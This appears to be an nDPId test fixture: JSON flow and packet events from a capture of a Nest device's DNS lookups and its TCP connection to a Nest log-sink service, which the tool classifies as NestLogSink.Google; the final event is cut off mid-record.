+00421{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536712992,"pkt_ts_usec":228658,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2IAAP8GYxrAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536712992,"pkt_ts_usec":289465,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNpRAAC0G7egjrlLtwKjyDytX92zEgGGFCKi\/QFAQgdDz\/QAA"} +00421{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713052,"pkt_ts_usec":295189,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2MAAP8GYxnAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00414{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713052,"pkt_ts_usec":360453,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNpVAAC0G7ecjrlLtwKjyDytX92zEgGGFCKi\/QFAQgdDz\/QAA"} +00414{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713052,"pkt_ts_usec":805060,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNpZAAC0G7eYjrlLtwKjyDytX92zEgGGECKi\/QFAQgdDz\/gAA"} +00420{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713052,"pkt_ts_usec":807397,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2QAAP8GYxjAqPIPI65S7fdsK1cIqL9AxIBhhVAQD+Vl6QAAAAAAAAAA"} +00422{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713112,"pkt_ts_usec":859779,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2UAAP8GYxfAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00415{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713112,"pkt_ts_usec":927130,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNpdAAC0G7eUjrlLtwKjyDytX92zEgGGFCKi\/QFAQgdDz\/QAA"} +00422{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713172,"pkt_ts_usec":923882,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2YAAP8GYxbAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00416{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713172,"pkt_ts_usec":985678,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNphAAC0G7eQjrlLtwKjyDytX92zEgGGFCKi\/QFAQgdDz\/QAA"} +00416{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713173,"pkt_ts_usec":125046,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNplAAC0G7eMjrlLtwKjyDytX92zEgGGECKi\/QFAQgdDz\/gAA"} +00422{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713173,"pkt_ts_usec":127968,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2cAAP8GYxXAqPIPI65S7fdsK1cIqL9AxIBhhVAQD+Vl6QAAAAAAAAAA"} +00421{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713233,"pkt_ts_usec":3980,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2gAAP8GYxTAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00415{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713233,"pkt_ts_usec":69799,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAoNppAAC0G7eIjrlLtwKjyDytX92zEgGGFCKi\/QFAQgdDz\/QAA"} +00422{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536713293,"pkt_ts_usec":69829,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL2kAAP8GYxPAqPIPI65S7fdsK1cIqL8\/xIBhhVAQD+Vl6gAAAAAAAAAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":133,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1536714602587,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":133,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714602,"pkt_ts_usec":587299,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"AJD7JidrGLQwJjRACABFAABEL4kAAP8RJr3AqPIPwKjyAc5xADUAMKk+CwgBAAABAAAAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAQ=="} +00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":133,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1536714602587,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":134,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714602,"pkt_ts_usec":587655,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"GLQwJjRAAJD7JidrCABFAABUsrpAAEARInzAqPIBwKjyDwA1znEAQGW0CwiBgAABAAEAAAAADXdlYXZlLWxvZ3NpbmsEbmVzdANjb20AAAEAAcAMAAEAAQAAAHgABCO8mro="} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":134,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":2,"flow_first_seen":1536714602587,"flow_last_seen":1536714602587,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"weave-logsink.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":135,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1536714602612,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63342,"dst_port":11095,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":135,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714602,"pkt_ts_usec":612148,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AJD7JidrGLQwJjRACABFAAAsL4oAAP8GGxPAqPIPI7yauvduK1cIvyQjAAAAAGACEgDGgwAAAgQEgAAA"} +00422{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":136,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714602,"pkt_ts_usec":681891,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"GLQwJjRAAJD7JidrCABFAAAsAABAADcG0p0jvJq6wKjyDytX927RT8zNCL8kJGASbvDKWAAAAgQFjA=="} +00423{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":137,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714602,"pkt_ts_usec":684345,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL4sAAP8GGxbAqPIPI7yauvduK1cIvyQk0U\/MzlAQEgA+3gAAAAAAAAAA"} +01132{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":138,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714603,"pkt_ts_usec":319993,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"AJD7JidrGLQwJjRACABFAAI7L4wAAP8GGQLAqPIPI7yauvduK1cIvyQk0U\/MzlAYEgDuTgAAEQIAEwgDAAA2nicAADC0GAQAAAACMLQYEQqJBgQAAACBAAA5+ABtAAEAWiMlAFoj6iAE38mTpquHx5zOhcgwFHq7n74coFbI+gesNeWUXxgbbE989Gi6i\/D5Gl\/BV0tLtMuoPtIbujp7vOCVBwA1ATABCGRioUb7JdsYJAIENwMnEwIAAADuMLQYGCYEvBKUGiYFvF68LTcGJxE2nicAADC0GBgkBwImCCUAWiMwCjkEJgNHeyfLyn8+Y4Q3KJESv6T1UZ7ximwyz0BZXSER6iqTRHr3ZzL\/QcomumvZXRQgQXcoi+vhk5Y1gykBGDWCKQEkAgUYNYQpATYCBAIEARgYNYEwAghG1Bj5qiAzNBg1gDACCE3B2i1iGUvgGDUMMAEdAIXDdHE3JrfWlel2eYaefOia8kf6YmRIxz7Xgq0wAh0Aqggyqhbk0\/a8FDNnwqqs7hWaOpuNhfC6EutljBgYGNUAAA4AAQAlAFojJAEFJAILJQMykCwEEDA1Q0EwMkFDNDQxNDAyOEYwBQgYtDAAACeeNjAGBhi0MCYAACwHCU5FU1QtOUUzNicKNp4nAAAwtBgnC4vxg94wk5+2LAkIMy4xLjRyYzMkDAEpZRiVCAAwARxlajZIA8P1M2KQa9jxswBUvqekDuazFUWMOMrkMAIdAPiTcW78qE0pB+qcJ\/e9Yw5uy3mP6aH8Y\/yyPD4Y"} +00414{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":139,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714603,"pkt_ts_usec":390192,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAolUBAADcGPWEjvJq6wKjyDytX927RT8zOCL8mN1AQcRDdugAA"} +01337{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":140,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714603,"pkt_ts_usec":395466,"pkt_caplen":733,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":733,"pkt_l4_len":699,"pkt":"GLQwJjRAAJD7JidrCABFAALPlUFAADcGOrkjvJq6wKjyDytX927RT8zOCL8mN1AYcRA2LQAApQIAE+inhmUEAAAAAjC0GDaeJwAAMLQYEAuJBgQAAACAOewBAAAE1eqO6tFgJ8AIXh5psw2DCMq76LkjRD2vYa6z1dUZEOqMUt\/ZJujFBDmnEEUyfvfyYh8z+bHwyirVAAAEAAcANQEwAQgMb9c+DCmBkiQCBDcDJxMDAAAA7jC0GBgmBACuiCMmBf8bcyU3BicSBAAAAAIwtBgYJAcCJgglAFojMAo5BOmClNa2L\/0sqyhn7IYa235P1xw1ad7owBLnP8rLfG3TPA0dBMXfrzKvqAFyJ47sRlQQr3qOkdAiNYMpARg1gikBJAIFGDWEKQE2AgQCBAEYGDWBMAIIT2JdLEIid9IYNYAwAghAMCqAESxXYxg1DDABHQD2qSsI\/n0hou9Llf5n3GEbVWuc4D0QHq+l2F+wMAIcbFFqzYrI2WIn6D35aDg1LAuu7NZYbZZk\/HdXyxgYNwPVAAAEAAEAMAEIdFPE8yV1wKQkAgQ3AycTAQAAAO4wtBgYJgSEShYaJgWECPtJNwYnEwMAAADuMLQYGCQHAiYIJQBaIzAKOQRhOKp73vZWzVBkzcIvC7VHSn7kjE4w+wzb4SgMSIJb6yR4pk2B0279JwA\/5iu\/0TQlBvq00DFAwzWDKQEpAhg1gikBJAJgGDWBMAIIQDAqgBEsV2MYNYAwAghDNPcS31+Rzxg1DDABHBLqxXlajT9KXWeBN+P8uG5pHU6a1vmo\/i33mMIwAh0AjB981V9gPTa1niPXvZ7CDdMfpHD9c+6sh9daGBgYGBjVAAAEAAgAMAEdAN5aALpwkycqH\/YdOvHUT\/yVpCuhOcfm\/\/PB0PwwAh0AyCvly7jcU\/KMtvN+jWSuMwUvJy7ARWKm5jcDDhhgGOFkeu8NGMrAorHGRgsA7uWf3A=="} +00423{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":141,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714603,"pkt_ts_usec":430818,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"AJD7JidrGLQwJjRACABFAAAoL40AAP8GGxTAqPIPI7yauvduK1cIvyY30U\/PdVAQD1k8ywAAAAAAAAAA"} +00490{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":142,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":778211,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"AJD7JidrGLQwJjRACABFAABcL44AAP8GGt\/AqPIPI7yauvduK1cIvyY30U\/PdVAYD1n0VgAAMgAAEwkDAAA2nicAADC0GAQAAAACMLQYEQyJBgQAAABSDhPagk9XmQBuC4ZSQzWHZRVqOg=="} +00542{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":142,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":8,"flow_first_seen":1536714602612,"flow_last_seen":1536714604778,"flow_tot_l4_data_len":1430,"flow_min_l4_data_len":20,"flow_max_l4_data_len":699,"flow_avg_l4_data_len":178,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"35.188.154.186","src_port":63342,"dst_port":11095,"l4_proto":"tcp","ndpi": {"proto":"NestLogSink.Google","breed":"Unrated","category":"Cloud"}} +00414{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":143,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":886052,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAolUJAADcGPV8jvJq6wKjyDytX927RT891CL8ma1AQcRDa3wAA"} +00515{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":144,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":896253,"pkt_caplen":124,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":124,"pkt_l4_len":90,"pkt":"AJD7JidrGLQwJjRACABFAABuL48AAP8GGszAqPIPI7yauvduK1cIvyZr0U\/PdVAYD1kVPAAARAAQEwAAAAA2nicAADC0GAQAAAACMLQY6iCycpbj9YM8qGb2p6tfYGLfO+vxpb53yieUogkX8401cGq\/HaLsjzCpjScgmg=="} +00415{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":145,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":970342,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"GLQwJjRAAJD7JidrCABFAAAolUNAADcGPV4jvJq6wKjyDytX927RT891CL8msVAQcRDamQAA"} +00494{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":146,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":970397,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"GLQwJjRAAJD7JidrCABFAABhlURAADcGPSQjvJq6wKjyDytX927RT891CL8msVAYcRByqgAANwAQEwAAAAAEAAAAAjC0GDaeJwAAMLQY6iC2jHHVd+6Siw1zRFQ1BhRbjeUsJUW1rk\/qyiMgT0qR"} +01036{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":147,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714604,"pkt_ts_usec":985119,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvL5AAAP8GGUrAqPIPI7yauvduK1cIvyax0U\/PrlAYDyBv\/wAAxQEQEwEAAAA2nicAADC0GAQAAAACMLQY6iCyfgT6k58J\/BzpVMOGuJJ6ILjoBIsSmmz5YeVQKfssr2TvupO+gwXSipTRX3ia+GGpLh6SJ0NQN1X3Xvu+fnur4eqIA891eDBzC5PH6n3TSt75zNrwqeN\/raUN4FOo0B90m35X30Jm3pG67GRzOZ0Yk4ELR4qmoY3Tviu4U2EO4JR0YFSfHX0yeGpnp+iMmcSHJuRE9wC3QRxOxytJGK42VGwOm18e1WOJ6\/fyhM\/AoM+YlCoGwtCVVZhNfqEbgJXLAN\/mYnXDl+los6XP9O8h5nsvzKiJTNaf2rWOKo\/1yY\/c8cbEVYkTkKUnciuSvYSiX5KRRCZ0r0M7jHpff7HNhSJI8dQ7LvXFJ6zaP9I+Vc2JraQ2No343rxJh2q6XbrIC0Qc3NHoRZBftqDDl7OtrhGgTgsLCi4anetKAJ2pY91JjheNRorXkudH0vfIRd+dQH9Jo+141mAgC6253biCxBRuFmpMmtmbrPKYoDYRAG3tEGjcYaiwGB2JwuSUiqFTBkWEdrrYmoOOUoYZR48XoRp5BlXV\/ZXE68d9ealiEgxgJV8GwwRG8gv3bWg="} +00493{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":148,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714605,"pkt_ts_usec":50668,"pkt_caplen":109,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":109,"pkt_l4_len":75,"pkt":"GLQwJjRAAJD7JidrCABFAABflUVAADcGPSUjvJq6wKjyDytX927RT8+uCL8oeFAYdUCNTwAANQAQEwEAAAAEAAAAAjC0GDaeJwAAMLQY6iB\/nMaYKMhAMXFY8tf+nXZnAd+GsL71CIlQg1iAyQ=="} +01033{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":149,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714605,"pkt_ts_usec":67899,"pkt_caplen":509,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":509,"pkt_l4_len":475,"pkt":"AJD7JidrGLQwJjRACABFAAHvL5EAAP8GGUnAqPIPI7yauvduK1cIvyh40U\/P5VAYDulidwAAxQEQEwIAAAA2nicAADC0GAQAAAACMLQY6iAA89deN58agw11Q9KAWO5TKWF97Op9jU7Fez\/h+kyit712ws7GLqSLnOdEAHl8PktY68PGo+6kAl+CRqHpxOV8\/YdJ5eW0k6bYIMA0gfnjGd7Xeknv2TToFGAzE8lK5Riib\/esK6ZHuPP9cO+6Czubos3cXJnhThAZY4wHUh6JqxqVKkkdemm9SY+xL0WeB9aLuANFzoxe9Tjgcjk\/DbaghMuhbX4jxe8zkKZgoU6mdgskbubNCtoITO4fS4KFPWq\/k7L5a5ifCMzHWEIgcDf2KVzacI4oMGPn6wwNTd5RvTB9uggviK7FpZw4nEgjWpCQHHMg2qJIRVx04YCkiY1mitkVqJnrEYnHYAfeVOJue5LiWSS7MKvyJqXcK0qlpusjl9UYgVZNKiSHL1HwM9nuyF1XsKHr41yfgiY7vTLUB3kbufA9XA6a3\/Lers1qdh6qBadlGYLi73JuUrYUzsC9xmMCsAYtzzQbVugSDihgOuL7j5DUu0lRViYc4WqCloHDEPr+CFuoy84gGJAiKmMc4OB7VrCRjKZI\/RxTGBy+eQCY7Mrb8TrxyNb350Y="} +00480{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714607,"pkt_ts_usec":328073,"pkt_caplen":101,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":101,"pkt_l4_len":67,"pkt":"AJD7JidrGLQwJjRACABFAABXL7IAAP8RJoHAqPIPwKjyAc5xADUAQyQGbMYBAAABAAAAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAE="} +00697{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":211,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":3,"flow_first_seen":1536714602587,"flow_last_seen":1536714607328,"flow_tot_l4_data_len":179,"flow_min_l4_data_len":48,"flow_max_l4_data_len":67,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"czfe105.front01.iad01.production.nest.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"35.188.154.186"}} +00574{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":213,"source":"nest_log_sink.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1536714607,"pkt_ts_usec":527675,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"GLQwJjRAAJD7JidrCABFAACbt7BAAEARHT\/AqPIBwKjyDwA1znEAh2X7bMaBgAABAAIAAAAAB2N6ZmUxMDUHZnJvbnQwMQVpYWQwMQpwcm9kdWN0aW9uBG5lc3QDY29tAAABAAHADAAFAAEAAAB4ACgRZWMyLTM1LTE3NC04Mi0yMzcJY29tcHV0ZS0xCWFtYXpvbmF3c8AywEcAAQABAAj0MQAEI65S7Q=="} +00697{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":213,"source":"nest_log_sink.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1536714602587,"flow_last_seen":1536714607527,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":48,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.242.15","dst_ip":"192.168.242.1","src_port":52849,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": 